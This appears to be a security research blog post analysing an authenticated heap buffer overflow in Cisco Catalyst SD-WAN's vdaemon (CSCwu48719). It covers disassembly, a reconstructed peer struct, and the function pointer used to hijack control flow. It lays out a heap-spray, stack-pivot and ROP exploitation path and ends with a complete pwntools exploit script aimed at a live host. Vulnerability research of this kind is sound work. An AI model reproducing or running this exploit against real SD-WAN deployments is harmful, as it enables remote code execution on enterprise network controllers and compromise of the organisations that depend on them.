Wide Area Network, Narrow Attack Surface: Authenticated Heap Buffer Overflow in Cisco Catalyst SD-WAN (CSCwu48719)
FPR AUG 5
Summary: An authenticated heap buffer overflow in Cisco Catalyst C8000V SD-WAN allows an attacker with low privileges to corrupt process memory and achieve remote code execution by sending a crafted message of type
0x0D(13) with device mode 5.
https://bst.cisco.com/quickview/bug/CSCwu48719
SD-WAN is, at its core, one of the more elegant solutions to a genuinely hard problem in the enterprise networking landscape. And honestly? It’s not a luxury — it’s load-bearing infrastructure for any organization operating at scale. You have fifty offices. Each one needs seamless, secure access to your cloud infrastructure, your internal services, your CI pipeline. Running separate VPN tunnels to all of them becomes an administrative nightmare fast — managing keys, routing policies, failover — and traditional VPNs navigate large-scale deployments poorly. SD-WAN replaces all of that with a robust model: put a smart router at each office, have them establish tunnels automatically, and leverage a central controller to manage the whole fabric. One place to define your rules. One place to onboard new devices. A holistic approach to what was previously a fragmented, painful realm.
The central controller in Cisco’s implementation is called vManage. The binary that does the actual work — handling device registration, tunnel orchestration, control-plane messaging — is vdaemon. It runs as a privileged process and, by design, accepts and processes messages from devices joining the network. What I keep coming back to is this: by design, it is doing the heavy lifting of trust — and that’s exactly the kind of target worth pressure-testing carefully.
The Bug
Here’s where it gets interesting. The vulnerability lives in sub_2A4D0. The core of it is a memcpy call where both the source data and the length come from an attacker-controlled message. Let me unpack it:
lea rdi, [r12+0F34h] ; destination: offset 0xF34 in peer struct
mov rbx, [rbp+src]
lea r15, [rbx+20h]
lea rsi, [rbx+24h]
mov edx, [rbx+20h] ; length: from message field at offset 0x20
call _memcpy
mov byte ptr [r14+rax+0F34h], 0
Which translates to:
memcpy(&peer->f34h, msg->dat, msg->datlen);
peer->f34h[msg->datlen] = 0;
We control msg->datlen. We control msg->dat. The destination buffer is fixed-size, embedded in the heap-allocated peer struct. There’s no bounds check. That’s a heap buffer overflow — and worth noting, there’s a second one immediately following it at offset 0xF86. It compounds.
The peer struct is allocated at exactly 4,760 bytes (0x1298). Working backwards from strings and xrefs, the layout looks roughly like this:
struct peer {
void *list_next;
void *list_prev;
uint8_t pad_10[16];
uint32_t peer_state;
uint32_t field_24;
uint8_t pad_28[14];
uint8_t flag_36;
uint8_t pad_37[101];
uint32_t msg_counter;
uint8_t pad_A0[232];
uint8_t addr_info[16];
uint8_t pad_198[161];
uint8_t tlv_block[128];
uint8_t pad_2B9[167];
uint8_t addr_data[56];
uint8_t field_398[24];
uint8_t pad_3B0[256];
void *conn_ptr;
struct timespec last_seen;
uint8_t pad_4C8[2668];
uint8_t vuln_buf_1[82]; // first overflow lands here
uint8_t vuln_buf_2[106]; // second overflow lands here
uint8_t field_FF0[8];
char str_FF8[58];
uint8_t field_1032;
uint8_t pad_1033[12];
uint8_t field_103F;
uint8_t flag_1040;
uint8_t pad_1041[3];
uint32_t field_1044;
uint32_t field_1048;
uint8_t pad_104C[28];
void (*bev_ssl)(...); // <-- function pointer, our target
uint8_t pad_1070[48];
uint8_t field_10A0[128];
uint8_t field_1120[128];
char name1[41];
char name2[41];
uint8_t pad_11F2[14];
void *sub_obj;
uint8_t field_1208[144];
};
Notice bev_ssl at offset 0x1068 — a bufferevent SSL callback function pointer. The tell here is significant: according to libevent’s internals, be_ops is a virtual function table embedded in the bufferevent structure, defining the specific behavior for each implementation (socket, filter, SSL wrapper). If we can write a fake vtable into the peer struct and then overwrite bev_ssl with a pointer into that fake vtable, we control RIP. The dereference happens shortly after — and this is the pivotal moment:
if ( *(_QWORD *)(v136 + 4200) ) // 4200 == 0x1068
v167 = bufferevent_openssl_get_ssl();
The message struct we’re working with:
struct vdaemon_msg {
uint8_t header[4];
uint32_t msg_type; // must be 13 (0x0D)
uint32_t device_type; // must be 5 (vManage)
uint32_t field_0C;
uint8_t pad_10[8];
uint32_t sub_type;
uint8_t pad_1C[4];
uint32_t datlen; // controlled length
uint8_t dat[]; // controlled data
// ...
char name1[41];
char name2[41];
uint8_t flag_1A3;
};
Exploitation Path
Let me surface the broad strokes of turning this into RCE — a comprehensive walkthrough of how you’d navigate from overflow to shell:
-
Heap groom and spray. Allocate enough peer structs at known addresses to foster a reliable heap layout. Spray fake
buffereventobjects across a target range with controlled vtable pointers embedded. -
Plant the overflow. Send a message of type
0x0Dwith device mode5, withdatlenset large enough to reachbev_sslat offset0x1068from the overflow destination0xF34. That’s a pad of0x134bytes, followed by a pointer into your sprayed fake vtable. -
Stack pivot. The first argument to the dereferenced function is our controlled
buffereventpointer. A gadget likexchg rsp, rdiormov rsp, [rdi+n]lets us pivot the stack into heap memory we control, enabling a ROP chain. Later builds have PIE, so a leak primitive would be needed first. Non-PIE builds are more forgiving — and honestly? Much more forgiving. -
ROP to execution. Chain to
mprotectand execute shellcode, or callsystem()directly — the binary contains both. Harness existing gadgets to do the heavy lifting.
The Catch
It’s worth examining the authentication requirement honestly. You need a valid certificate to reach the sink. This isn’t pre-authentication. However, the barrier is relatively low: any authenticated device on the SD-WAN fabric with low privileges can send a message of the appropriate type. In the context of a targeted attack against a compromised organization — or a rogue device on the network — this matters. The right question isn’t “is it pre-auth?” — it’s “what does the realistic threat landscape look like?” And in enterprise environments, that answer is quietly concerning.
Cisco has also recently restructured how they classify vulnerabilities — individual issues now get grouped under umbrella CVE identifiers, which makes the advisory landscape harder to navigate but doesn’t change what the bugs do.
from pwn import *
import argparse
context.arch = "amd64"
DST_OFF = 0xF34
BEV_OFF = 0x1068
PAD = BEV_OFF - DST_OFF
SPRAYN = 0x12A0
RIP = 0x0c0c0c0c0c
SPRAYCNT = 1024
SPRAYBASE = 0x2000000
def parseargs():
p = argparse.ArgumentParser()
p.add_argument("--host", required=True)
p.add_argument("--port", type=int, default=12346)
p.add_argument("--cert", required=True)
p.add_argument("--key", required=True)
return p.parse_args()
def conn(a):
return remote(a.host, a.port, ssl=True, ssl_args={"keyfile": a.key, "certfile": a.cert})
def msg(payload):
buf = bytearray(max(0x200, 0x24 + len(payload)))
buf[0x04:0x08] = p32(0x0D)
buf[0x0C:0x10] = p32(len(buf), endian="big")
buf[0x20:0x24] = p32(len(payload))
buf[0x24:0x24 + len(payload)] = payload
return bytes(buf)
def ambatuspray(addr):
base = addr + DST_OFF
fakevtable = b""
fakevtable += p64(0)
fakevtable += p64(0)
fakevtable += p64(RIP) * 6
fakebev = b""
fakebev += p64(0)
fakebev += p64(base)
slidelen = (0x300 - len(fakevtable) - len(fakebev)) // 8
return fakevtable + fakebev + p64(RIP) * slidelen
def beam(addr):
return b"A" * PAD + p64(addr + DST_OFF + 0x40)
a = parseargs()
coverage = SPRAYCNT * SPRAYN
log.info(f"targ: {SPRAYBASE} {SPRAYCNT} sprays {coverage} b")
conns = []
plant = msg(ambatuspray(SPRAYBASE))
with log.progress("spraying") as p:
for i in range(SPRAYCNT):
p.status(f"+ spray {i+1}/{SPRAYCNT}")
try:
c = conn(a)
c.send(plant)
conns.append(c)
except Exception:
pass
log.success(f"{len(conns)} peers")
target = conn(a)
target.send(msg(beam(SPRAYBASE)))
log.success("+ sent")
target.interactive()